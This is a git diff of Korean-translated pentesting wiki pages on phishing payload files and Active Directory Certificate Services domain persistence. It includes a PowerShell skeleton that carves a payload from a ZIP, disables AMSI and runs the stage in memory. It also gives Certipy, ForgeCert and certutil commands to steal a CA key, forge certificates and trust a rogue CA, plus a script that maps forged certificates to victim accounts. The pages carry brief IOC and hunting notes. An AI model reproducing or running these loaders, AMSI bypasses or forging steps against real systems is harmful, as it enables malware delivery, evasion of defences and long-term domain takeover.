HTA는 HTML과 스크립팅 언어(예: VBScript 및 JScript)를 결합한 Windows 프로그램입니다. 사용자 인터페이스를 생성하고 브라우저의 보안 모델 제약 없이 "fully trusted" 애플리케이션으로 실행됩니다.
|
||||
|
||||
HTA는 **`mshta.exe`**를 사용해 실행되며, 이는 일반적으로 **설치**될 때 **Internet Explorer**와 함께 설치됩니다. 따라서 **`mshta`는 IE에 의존**합니다. 만약 IE가 제거된 경우 HTA는 실행되지 않습니다.
|
||||
HTA는 **`mshta.exe`**를 사용해 실행되며, 일반적으로 **Internet Explorer**와 함께 설치되어 **`mshta`가 IE에 의존하게** 됩니다. 따라서 IE가 제거된 경우 HTA는 실행할 수 없습니다.
|
||||
```html
|
||||
<--! Basic HTA Execution -->
|
||||
<html>
|
||||
@ -138,11 +138,11 @@ var_func
|
||||
self.close
|
||||
</script>
|
||||
```
|
||||
## NTLM 인증 강제
|
||||
## Forcing NTLM Authentication
|
||||
|
||||
원격으로 NTLM 인증을 **강제**하는 방법은 여러 가지가 있다. 예를 들어 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가(심지어 HTTP MitM?)하거나, 희생자에게 폴더를 여는 것만으로 **인증**을 **유발**하는 **파일의 주소**를 보낼 수 있다.
|
||||
여러 가지 방법으로 **NTLM authentication을 "원격으로" 강제**할 수 있습니다. 예를 들어, 사용자가 접근할 이메일이나 HTML에 **보이지 않는 이미지**를 추가하거나(심지어 HTTP MitM?), 피해자에게 폴더를 **열기만 해도** **인증을 유발하는** **파일 주소**를 보낼 수 있습니다.
|
||||
|
||||
**다음 페이지에서 이 아이디어들과 더 많은 내용을 확인하세요:**
|
||||
**다음 페이지에서 이러한 아이디어들과 더 많은 내용을 확인하세요:**
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -156,24 +156,24 @@ self.close
|
||||
|
||||
### NTLM Relay
|
||||
|
||||
해시나 인증을 훔치는 것뿐만 아니라 **NTLM relay attacks**도 수행할 수 있다는 점을 잊지 마세요:
|
||||
hash나 인증을 훔치는 것뿐만 아니라 **NTLM relay 공격을 수행**할 수도 있다는 점을 잊지 마세요:
|
||||
|
||||
- [**NTLM Relay attacks**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
|
||||
- [**AD CS ESC8 (NTLM relay to certificates)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
|
||||
|
||||
## LNK Loaders + ZIP-Embedded Payloads (fileless chain)
|
||||
|
||||
매우 효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 전달한다. 핵심은 실제 PowerShell loader가 ZIP의 raw bytes 내 고유 마커 이후에 저장되어 있고, .lnk가 그것을 추출하여 메모리에서 완전히 실행한다는 점이다.
|
||||
효과적인 캠페인은 두 개의 정상적인 미끼 문서(PDF/DOCX)와 악성 .lnk를 포함한 ZIP을 배포합니다. 핵심은 실제 PowerShell loader가 고유한 마커 뒤의 ZIP 원시 바이트에 저장되어 있고, .lnk가 이를 carving해서 완전히 메모리에서 실행한다는 점입니다.
|
||||
|
||||
.lnk PowerShell one-liner가 구현하는 전형적인 흐름:
|
||||
Typical flow implemented by the .lnk PowerShell one-liner:
|
||||
|
||||
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 상위 폴더 등 일반 경로에서 원본 ZIP을 찾는다.
|
||||
2) ZIP의 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾는다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드이다.
|
||||
3) ZIP을 %ProgramData%로 복사하고 거기에서 압축을 풀며, 정상처럼 보이기 위해 미끼 .docx를 연다.
|
||||
4) 현재 프로세스에서 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행한다.
|
||||
1) Desktop, Downloads, Documents, %TEMP%, %ProgramData% 및 현재 작업 디렉터리의 부모 등 일반 경로에서 원본 ZIP을 찾습니다.
|
||||
2) ZIP 바이트를 읽어 하드코딩된 마커(예: xFIQCV)를 찾습니다. 마커 이후의 모든 것이 임베디드된 PowerShell 페이로드입니다.
|
||||
3) ZIP을 %ProgramData%로 복사하고 그곳에서 압축을 풀며, 정상처럼 보이도록 미끼 .docx를 엽니다.
|
||||
4) 현재 프로세스에 대해 AMSI를 우회: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
|
||||
5) 다음 단계의 난독화를 해제(예: 모든 # 문자 제거)하고 메모리에서 실행합니다.
|
||||
|
||||
임베디드 스테이지를 추출하고 실행하기 위한 예시 PowerShell 스켈레톤:
|
||||
Example PowerShell skeleton to carve and run the embedded stage:
|
||||
```powershell
|
||||
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
|
||||
$paths = @(
|
||||
@ -190,24 +190,33 @@ $code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
Invoke-Expression $code
|
||||
```
|
||||
노트
|
||||
Notes
|
||||
- Delivery often abuses reputable PaaS subdomains (e.g., *.herokuapp.com) and may gate payloads (serve benign ZIPs based on IP/UA).
|
||||
- 다음 단계에서는 종종 base64/XOR shellcode를 복호화한 후 디스크 흔적을 최소화하기 위해 Reflection.Emit + VirtualAlloc를 통해 실행한다.
|
||||
- The next stage frequently decrypts base64/XOR shellcode and executes it via Reflection.Emit + VirtualAlloc to minimize disk artifacts.
|
||||
|
||||
같은 체인에서 사용된 Persistence
|
||||
Persistence used in the same chain
|
||||
- COM TypeLib hijacking of the Microsoft Web Browser control so that IE/Explorer or any app embedding it re-launches the payload automatically. See details and ready-to-use commands here:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/windows-local-privilege-escalation/com-hijacking.md
|
||||
{{#endref}}
|
||||
|
||||
헌팅/IOCs
|
||||
Hunting/IOCs
|
||||
- ZIP files containing the ASCII marker string (e.g., xFIQCV) appended to the archive data.
|
||||
- .lnk that enumerates parent/user folders to locate the ZIP and opens a decoy document.
|
||||
- AMSI 변조: [System.Management.Automation.AmsiUtils]::amsiInitFailed 사용.
|
||||
- 장기간 실행되는 비즈니스 스레드가 신뢰된 PaaS 도메인에 호스팅된 링크로 끝남.
|
||||
- AMSI tampering via [System.Management.Automation.AmsiUtils]::amsiInitFailed.
|
||||
- Long-running business threads ending with links hosted under trusted PaaS domains.
|
||||
|
||||
## 참고자료
|
||||
## Windows files to steal NTLM hashes
|
||||
|
||||
다음 페이지에서 **places to steal NTLM creds**를 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)
|
||||
- [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
|
||||
|
@ -2,26 +2,26 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**This is a summary of the domain persistence techniques shared in [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf)**. Check it for further details.
|
||||
**이 문서는 [https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf) 에서 공유된 도메인 지속성 기법들의 요약입니다. 자세한 내용은 해당 문서를 확인하세요.**
|
||||
|
||||
## 도난당한 CA 인증서로 인증서 위조 - DPERSIST1
|
||||
## Forging Certificates with Stolen CA Certificates - DPERSIST1
|
||||
|
||||
인증서가 CA 인증서인지 어떻게 판단하나?
|
||||
어떻게 해당 인증서가 CA 인증서인지 알 수 있을까요?
|
||||
|
||||
다음 조건들이 충족되면 해당 인증서는 CA 인증서로 판단할 수 있다:
|
||||
다음 조건들이 충족되면 인증서가 CA 인증서임을 판별할 수 있습니다:
|
||||
|
||||
- 인증서는 CA 서버에 저장되어 있으며, 개인 키는 OS가 지원하는 경우 머신의 DPAPI 또는 TPM/HSM 같은 하드웨어로 보호된다.
|
||||
- 인증서의 Issuer 및 Subject 필드가 CA의 distinguished name과 일치한다.
|
||||
- CA 인증서에만 "CA Version" 확장(extension)이 존재한다.
|
||||
- 인증서에는 Extended Key Usage (EKU) 필드가 없다.
|
||||
- 인증서는 CA 서버에 저장되며, 해당 머신의 DPAPI로 보호되거나 운영체제가 지원하면 TPM/HSM 같은 하드웨어로 보호된 개인키와 함께 저장됩니다.
|
||||
- 인증서의 Issuer 및 Subject 필드가 CA의 distinguished name과 일치합니다.
|
||||
- "CA Version" extension이 오직 CA 인증서에만 존재합니다.
|
||||
- 인증서에 Extended Key Usage (EKU) 필드가 없습니다.
|
||||
|
||||
이 인증서의 개인 키를 추출하기 위한 지원되는 방법은 CA 서버의 내장 GUI를 통한 `certsrv.msc` 도구이다. 그러나 이 인증서는 시스템에 저장된 다른 인증서와 차이가 없으므로, [THEFT2 기법](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)과 같은 방법으로도 추출할 수 있다.
|
||||
이 인증서의 개인키를 추출하려면 CA 서버에서 내장 GUI를 통해 `certsrv.msc` 도구를 사용하는 것이 지원되는 방법입니다. 그럼에도 불구하고, 이 인증서는 시스템에 저장된 다른 인증서들과 본질적으로 다르지 않으므로 [THEFT2 technique](certificate-theft.md#user-certificate-theft-via-dpapi-theft2)와 같은 방법을 사용해 추출할 수 있습니다.
|
||||
|
||||
다음 명령어로 Certipy를 사용해 인증서와 개인 키를 얻을 수도 있다:
|
||||
인증서와 개인키는 또한 Certipy를 사용하여 다음 명령으로 얻을 수 있습니다:
|
||||
```bash
|
||||
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
|
||||
```
|
||||
CA 인증서와 개인 키를 `.pfx` 형식으로 확보하면, [ForgeCert](https://github.com/GhostPack/ForgeCert)과 같은 도구를 사용해 유효한 인증서를 생성할 수 있습니다:
|
||||
CA 인증서와 개인 키를 `.pfx` 형식으로 확보한 후, [ForgeCert](https://github.com/GhostPack/ForgeCert) 같은 도구를 사용하여 유효한 인증서를 생성할 수 있습니다:
|
||||
```bash
|
||||
# Generating a new certificate with ForgeCert
|
||||
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
|
||||
@ -38,17 +38,17 @@ certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
|
||||
> [!WARNING]
|
||||
> 인증서 위조 대상 사용자는 프로세스가 성공하려면 Active Directory에서 활성 상태이며 인증할 수 있어야 합니다. krbtgt와 같은 특수 계정에 대한 인증서 위조는 효과가 없습니다.
|
||||
|
||||
이 위조된 인증서는 지정된 만료일까지 그리고 **root CA 인증서가 유효한 동안**(보통 5년에서 **10년 이상**) **유효**합니다. 또한 **machines**에도 유효하므로 **S4U2Self**와 결합하면 공격자는 CA 인증서가 유효한 한 **어떤 도메인 머신에서든 영구성을 유지할 수 있습니다**.\
|
||||
또한, 이 방법으로 생성된 **인증서들은** CA가 인지하지 못하기 때문에 **철회할 수 없습니다**.
|
||||
이 위조된 인증서는 지정된 종료 날짜까지 그리고 **루트 CA 인증서가 유효한 한** (보통 5년에서 **10년 이상**) **유효**합니다. 또한 **machines**에도 유효하므로, **S4U2Self**와 결합하면 공격자는 CA 인증서가 유효한 동안 **any domain machine에서 persistence를 유지할 수 있습니다**.\
|
||||
더욱이, 이 방법으로 생성된 **certificates generated**는 CA가 이를 인지하지 못하므로 **취소할 수 없습니다**.
|
||||
|
||||
### Operating under Strong Certificate Mapping Enforcement (2025+)
|
||||
### Strong Certificate Mapping Enforcement (2025+) 하에서의 운영
|
||||
|
||||
2025년 2월 11일 이후(KB5014754 배포 후), 도메인 컨트롤러는 certificate mappings에 대해 기본적으로 **Full Enforcement**로 동작합니다. 실무적으로 이는 위조된 인증서가 다음 중 하나를 만족해야 함을 의미합니다:
|
||||
2025년 2월 11일( KB5014754 배포 이후)부터 도메인 컨트롤러는 인증서 매핑에 대해 기본적으로 **Full Enforcement**를 적용합니다. 실무적으로 이는 위조된 인증서가 다음 중 하나를 만족해야 함을 의미합니다:
|
||||
|
||||
- 대상 계정에 대한 강한 바인딩을 포함해야 합니다(예: SID security extension), 또는
|
||||
- 대상 객체의 `altSecurityIdentities` 속성에 강력하고 명시적인 매핑이 설정되어야 합니다.
|
||||
- 대상 계정에 대한 강력한 바인딩을 포함할 것(예: SID security extension), 또는
|
||||
- 대상 객체의 `altSecurityIdentities` 속성에 강력하고 명시적인 매핑과 짝을 이루고 있을 것.
|
||||
|
||||
지속성을 위한 신뢰할 수 있는 접근법은 도난당한 Enterprise CA에 체인된 위조 인증서를 발급한 다음 피해자 principal에 강력한 명시적 매핑을 추가하는 것입니다:
|
||||
지속성을 위한 신뢰할 수 있는 접근법은 도난당한 Enterprise CA에 체인된 위조 인증서를 발급한 다음 피해자 주체(victim principal)에 강력한 명시적 매핑을 추가하는 것입니다:
|
||||
```powershell
|
||||
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
|
||||
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
|
||||
@ -57,14 +57,15 @@ $Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
|
||||
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
|
||||
```
|
||||
Notes
|
||||
- 만약 SID security extension을 포함하는 위조된 인증서를 만들 수 있다면, 이러한 인증서는 Full Enforcement 하에서도 암묵적으로 매핑됩니다. 그렇지 않다면 명시적이고 강력한 매핑을 선호하세요. 명시적 매핑에 대해서는 [account-persistence](account-persistence.md)를 참조하세요.
|
||||
- 여기서 Revocation은 방어자에게 도움이 되지 않습니다: 위조된 인증서는 CA 데이터베이스에 등록되어 있지 않으므로 폐기할 수 없습니다.
|
||||
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See
|
||||
[account-persistence](account-persistence.md) for more on explicit mappings.
|
||||
- 취소(revocation)는 여기서 방어자에게 도움이 되지 않습니다: 위조된 인증서는 CA 데이터베이스에 알려져 있지 않으므로 취소될 수 없습니다.
|
||||
|
||||
## Trusting Rogue CA Certificates - DPERSIST2
|
||||
## 악성 CA 인증서 신뢰 - DPERSIST2
|
||||
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. The verification process by the **domain controller** involves checking the `NTAuthCertificates` object for an entry matching the **CA specified** in the Issuer field of the authenticating **certificate**. Authentication proceeds if a match is found.
|
||||
The `NTAuthCertificates` object is defined to contain one or more **CA certificates** within its `cacertificate` attribute, which Active Directory (AD) utilizes. **도메인 컨트롤러**에 의한 검증 과정은 인증하는 **certificate**의 Issuer 필드에 지정된 **CA**와 일치하는 항목이 `NTAuthCertificates` 객체에 있는지 확인하는 것입니다. 일치하는 항목이 발견되면 인증이 진행됩니다.
|
||||
|
||||
A self-signed CA certificate can be added to the `NTAuthCertificates` object by an attacker, provided they have control over this AD object. Normally, only members of the **Enterprise Admin** group, along with **Domain Admins** or **Administrators** in the **forest root’s domain**, are granted permission to modify this object. They can edit the `NTAuthCertificates` object using `certutil.exe` with the command `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA`, or by employing the [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool).
|
||||
공격자가 이 AD 객체를 제어할 수 있다면 self-signed CA certificate를 `NTAuthCertificates` 객체에 추가할 수 있습니다. 일반적으로 이 객체를 수정할 권한은 **Enterprise Admin** 그룹 구성원과 **forest root’s domain**의 **Domain Admins** 또는 **Administrators**에게만 부여됩니다. 이들은 `certutil.exe`를 사용하여 `certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA` 명령으로 `NTAuthCertificates` 객체를 편집하거나, [**PKI Health Tool**](https://docs.microsoft.com/en-us/troubleshoot/windows-server/windows-security/import-third-party-ca-to-enterprise-ntauth-store#method-1---import-a-certificate-by-using-the-pki-health-tool)을 사용할 수 있습니다.
|
||||
|
||||
Additional helpful commands for this technique:
|
||||
```bash
|
||||
@ -77,34 +78,34 @@ certutil -enterprise -delstore NTAuth <Thumbprint>
|
||||
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
|
||||
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
|
||||
```
|
||||
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
|
||||
이 기능은 ForgeCert를 사용해 동적으로 인증서를 생성하는 앞에서 설명한 방법과 함께 사용할 때 특히 관련성이 큽니다.
|
||||
|
||||
> Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in **Full Enforcement**, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in `altSecurityIdentities`). See {{#ref}}account-persistence.md{{#endref}}.
|
||||
> Post-2025 매핑 고려사항: NTAuth에 rogue CA를 배치하면 발행 CA에 대한 신뢰만 설정됩니다. DC가 **Full Enforcement** 상태일 때 로그온용으로 leaf 인증서를 사용하려면, 해당 leaf에 SID 보안 확장이 포함되어 있거나 대상 객체에 강력한 명시적 매핑(예: Issuer+Serial을 `altSecurityIdentities`에 설정)이 있어야 합니다. 자세한 내용은 {{#ref}}account-persistence.md{{#endref}}를 참조하십시오.
|
||||
|
||||
## 악의적 잘못된 구성 - DPERSIST3
|
||||
|
||||
AD CS 구성 요소에 대한 **security descriptor** 변경을 통한 **persistence** 기회는 풍부합니다. "[Domain Escalation](domain-escalation.md)" 섹션에 설명된 변경 사항은 권한이 상승된 공격자가 악의적으로 구현할 수 있습니다. 여기에는 다음과 같은 민감한 구성 요소에 "control rights"(예: WriteOwner/WriteDACL/etc.)를 추가하는 작업이 포함됩니다:
|
||||
AD CS 구성요소의 보안 설명자(security descriptor)를 수정하여 **persistence**를 얻을 수 있는 기회는 많습니다. "[Domain Escalation](domain-escalation.md)" 섹션에 설명된 변경사항들은 도메인에서 권한이 상승된 공격자에 의해 악의적으로 구현될 수 있습니다. 여기에는 다음과 같은 민감한 구성요소에 대한 "control rights"(예: WriteOwner/WriteDACL/etc.) 추가가 포함됩니다:
|
||||
|
||||
- **CA 서버의 AD computer** 객체
|
||||
- **CA 서버의 RPC/DCOM 서버**
|
||||
- **`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`** 내의 모든 **하위 AD 객체 또는 컨테이너**(예: Certificate Templates 컨테이너, Certification Authorities 컨테이너, NTAuthCertificates 객체 등)
|
||||
- 기본적으로 또는 조직에서 AD CS 제어 권한이 위임된 **AD 그룹들**(예: 내장된 Cert Publishers 그룹 및 그 멤버들)
|
||||
- **CA server’s AD computer** object
|
||||
- **CA server’s RPC/DCOM server**
|
||||
- **CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>** 내의 모든 **후손 AD 객체나 컨테이너**(예: Certificate Templates container, Certification Authorities container, `NTAuthCertificates` object 등)
|
||||
- 조직이나 기본값으로 **AD CS를 제어하도록 위임된 AD 그룹**(예: 빌트인 Cert Publishers 그룹 및 해당 멤버들)
|
||||
|
||||
악의적 구현의 한 예로는 도메인에서 **elevated permissions**를 가진 공격자가 기본 **`User`** 인증서 템플릿에 **`WriteOwner`** 권한을 추가하고 해당 권한의 주체를 자신으로 지정하는 경우가 있습니다. 이를 악용하기 위해 공격자는 먼저 **`User`** 템플릿의 소유권을 자신으로 변경합니다. 그 다음 템플릿에서 **`mspki-certificate-name-flag`**를 **1**로 설정하여 **`ENROLLEE_SUPPLIES_SUBJECT`**을 활성화하고, 요청에 Subject Alternative Name을 제공할 수 있게 합니다. 이후 공격자는 해당 **template**으로 **enroll**하여 대체 이름으로 **domain administrator** 이름을 선택하고, 획득한 인증서를 DA로서 인증에 사용합니다.
|
||||
악의적 구현의 예로는 도메인에서 **권한이 상승된** 공격자가 기본 **`User`** certificate template에 대해 자신을 주체로 하여 **`WriteOwner`** 권한을 추가하는 상황이 있습니다. 이를 악용하려면 공격자는 먼저 **`User`** 템플릿의 소유권을 자신으로 변경합니다. 그 다음 템플릿에서 **`mspki-certificate-name-flag`**를 **1**로 설정하여 **`ENROLLEE_SUPPLIES_SUBJECT`**를 활성화하면, 사용자가 요청 시 Subject Alternative Name을 제공할 수 있습니다. 이후 공격자는 해당 **template**로 **enroll**하여 alternative name으로 도메인 관리자 이름을 선택하고, 획득한 인증서를 DA로서 인증에 사용할 수 있습니다.
|
||||
|
||||
공격자가 장기적인 도메인 persistence를 위해 설정할 수 있는 실용적인 설정들(자세한 내용 및 탐지는 {{#ref}}domain-escalation.md{{#endref}} 참조):
|
||||
장기간 도메인 지속성 유지를 위해 공격자가 설정할 수 있는 실무적 설정들(전체 세부사항 및 탐지 방법은 {{#ref}}domain-escalation.md{{#endref}} 참조):
|
||||
|
||||
- 요청자에게서 SAN을 허용하는 CA 정책 플래그(예: `EDITF_ATTRIBUTESUBJECTALTNAME2` 활성화). 이는 ESC1 유사 경로를 계속 악용 가능하게 합니다.
|
||||
- 인증 가능 발급을 허용하는 템플릿 DACL 또는 설정(예: Client Authentication EKU 추가, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 활성화).
|
||||
- 수비자가 정리 시도를 할 경우 악성 발급자를 지속적으로 다시 도입하기 위해 `NTAuthCertificates` 객체나 CA 컨테이너를 제어.
|
||||
- 요청자(requesters)로부터 SAN을 허용하는 CA 정책 플래그(예: `EDITF_ATTRIBUTESUBJECTALTNAME2` 활성화). 이는 ESC1-like 경로를 계속 악용 가능하게 합니다.
|
||||
- 인증 가능한 발급을 허용하는 템플릿 DACL 또는 설정(예: Client Authentication EKU 추가, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 활성화).
|
||||
- 수비측이 정리 시도를 하더라도 rogue issuer를 지속적으로 재도입할 수 있도록 `NTAuthCertificates` 객체 또는 CA 컨테이너를 제어.
|
||||
|
||||
> [!TIP]
|
||||
> KB5014754 이후 강화된 환경에서는 이러한 잘못된 구성에 명시적 강력 매핑(`altSecurityIdentities`)을 결합하면, DC가 강력한 매핑을 적용하더라도 발급되거나 위조된 인증서를 계속 사용할 수 있게 됩니다.
|
||||
> KB5014754 이후 하드닝된 환경에서는 이러한 잘못된 구성에 명시적이고 강력한 매핑(`altSecurityIdentities`)을 결합하면, DC가 강력한 매핑을 적용하더라도 발급하거나 위조한 인증서를 계속 사용할 수 있습니다.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
|
||||
- Microsoft KB5014754 – Windows 도메인 컨트롤러의 인증서 기반 인증 변경사항(시행 일정 및 강력한 매핑). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference 및 forge/auth 사용법. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
|
||||
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user